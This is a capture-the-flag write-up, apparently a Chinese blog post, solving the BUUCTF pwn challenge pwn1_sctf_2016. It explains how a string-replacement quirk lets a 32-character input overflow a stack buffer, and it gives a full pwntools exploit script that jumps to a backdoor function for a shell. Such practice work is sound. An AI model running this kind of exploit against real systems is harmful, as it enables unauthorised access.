【BUUCTF - PWN】pwn1_sctf_2016

checksec一下

找到漏洞函数,s的长度为0x3c,而我们只能输入32个字符,不足以栈溢出,但是发现replace函数会把输入的 I 替换成 you ,这样的话输入20个 I 就能填满s

找到后门函数

from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='i386'
context.log_level='debug'

sl=lambda x:io.sendline(x)

io=remote('xxx',xxx)

payload='I'*20+'a'*4+p32(0x8048f0d)
sl(payload)

io.interactive()

附件:pwn1_sctf_2016

发布了30 篇原创文章 · 获赞 9 · 访问量 7382

猜你喜欢

转载自blog.csdn.net/tqydyqt/article/details/104973193